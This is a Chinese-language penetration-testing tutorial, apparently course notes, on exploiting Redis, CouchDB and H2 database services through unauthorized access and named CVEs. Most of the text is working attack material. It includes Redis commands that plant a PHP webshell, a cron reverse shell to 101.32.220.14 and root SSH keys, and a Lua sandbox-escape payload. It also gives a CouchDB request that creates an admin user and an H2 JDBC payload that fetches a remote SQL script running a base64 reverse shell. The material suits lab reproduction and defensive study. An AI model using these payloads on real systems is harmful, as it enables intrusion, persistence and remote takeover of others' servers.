前置知识

  • 漏洞复现
  • 服务判断
    • 端口扫描:通过目标端口开放判断服务。
    • 组合判断:分析常见服务组合推测可能开放的服务。
    • 信息来源:访问端口获取软件版本、应用信息等。
    • 强弱特征:如 Shiro 的 rememberMe 强特征、SpringBoot 默认页面等。
  • 对象类别
    • 对服务进行分类,通过服务功能理解。例如,数据库涉及帐号密码可进行爆破利用,针对公开 CVE 进行漏洞测试,或因错误安全配置导致未授权访问。
  • 利用方法
    • 主要集中在配置不当、CVE 漏洞、未授权访问、弱口令爆破、功能利用等。

数据库应用-Redis-未授权访问&CVE 漏洞

默认端口:6379

概述:Redis 是一套开源的、支持网络、可基于内存或持久化的日志型键值存储数据库,提供多种语言 API。若未开启认证,任意用户可未授权访问 Redis 并读取数据。

  • 未授权访问:CNVD-2015-07557

    配置不当(redis.conf):

    # 注释掉 bind 行,允许所有 IP 连接
    # bind 127.0.0.1
    
    # 关闭保护模式(>3.2.0)
    protected-mode no
    
    # 默认密码为空
    # requirepass ""
    
    • 写 Webshell

      利用条件:Web 目录权限可读写

      config set dir /tmp            # 设置 WEB 写入目录
      config set dbfilename 1.php    # 设置写入文件名
      set test "<?php phpinfo();?>"  # 设置写入文件代码
      bgsave                         # 保存执行
      save                           # 保存执行
       

      注意:部分环境无目录读写权限。

    • 写定时任务反弹 Shell

      利用条件:Redis 服务以 ROOT 账号启动,安全模式 protected-mode 关闭

      config set dir /var/spool/cron
      set yy "\n\n\n* * * * * bash -i >& /dev/tcp/101.32.220.14/5566 0>&1\n\n\n"
      config set dbfilename x
      save

      注意

      • CentOS 会忽略乱码,执行格式正确的任务计划。
      • Ubuntu 不会忽略乱码,可能导致命令执行失败。
    • 写入 Linux SSH 公钥

      利用条件:Redis 服务以 ROOT 账号启动,安全模式 protected-mode 关闭,允许密钥登录

      ssh-keygen -t rsa
      cd /root/.ssh/
      (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
      cat key.txt | redis-cli -h 目标IP -x set xxx
      # 以上步骤在攻击机器上执行
      config set dir /root/.ssh/
      config set dbfilename authorized_keys
      save
      cd /root/.ssh/
      ssh -i id_rsa root@目标IP
       
  • 未授权访问:CNVD-2019-21763

    Redis 4.x 及以上版本新增模块功能,攻击者可通过外部扩展添加新 Redis 命令,加载恶意 .so 文件实现远程代码执行。

    • 工具
      • redis-rogue-getshell

        python redis-master.py -r 123.58.224.8 -p 52666 -L 101.32.220.14 -P 8888 -f RedisModulesSDK/exp.so -c "id"
         
      • redis-rogue-server

        python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
         
  • 沙箱绕过 RCE:CVE-2022-0543

    PoC:执行 id 命令

    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
     

数据库应用-CouchDB-未授权越权&CVE 漏洞

默认端口:5984

概述:Apache CouchDB 是一个开源 NoSQL 数据库,使用 JSON 存储数据,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API,广泛应用于 BBC、Credit Suisse、Meebo 等平台。

  • 垂直权限绕过:CVE-2017-12635

    利用方式

    1. 创建用户

      PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
      Host: 47.94.236.117:5984
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: application/json
      Content-Length: 108
      
      {
        "type": "user",
        "name": "xiaodi",
        "roles": ["_admin"],
        "roles": [],
        "password": "xiaodi"
      }
      
      
    2. 登录用户授权

      GET /_utils/
      xiaodi xiaodi
      
      
  • 命令执行:CVE-2017-12636

    利用方式

    1. 下载 exp.py
    2. 修改目标和反弹地址
    3. 使用 Python3 执行
  • 代码执行:CVE-2022-24706

    PoC

    python poc.py target-ip 4369

    参考vulhub CVE-2022-24706

数据库应用-H2 Database-未授权访问&CVE 漏洞

默认端口:20051

概述:H2 是一个快速、开源的 Java SQL 数据库,支持嵌入式和服务器模式、内存数据库、基于浏览器的控制台应用。2.1.210 之前的版本存在未授权 RCE 漏洞,允许通过特定 JDBC URL 执行任意代码。

  • CVE-2018-10054

    (无需讲解)

  • JNDI RCE:CVE-2021-42392

    利用方式

    1. 设置 Driver class 为 javax.naming.InitialContext
    2. JDBC URL 填写 Java-Chains 生成的 JNDI URL参考vulhub CVE-2021-42392
  • JDBC RCE:CVE-2022-23221

    利用方式

    1. 未授权进入

      jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
      
    2. RCE 执行反弹 Shell

      • 创建数据库文件:xx.sql

        CREATE TABLE test (
            id INT NOT NULL
        );
        CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
        Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
        # 反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/5566 0>&1
      • 启动提供 SQL 文件远程加载服务

        python3 -m http.server 端口
      • 填入 Payload 加载远程 SQL

        jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://101.32.220.14:88/h2.sql';\
        
      • 监听反弹 Shell

        nc -lvvp xxxx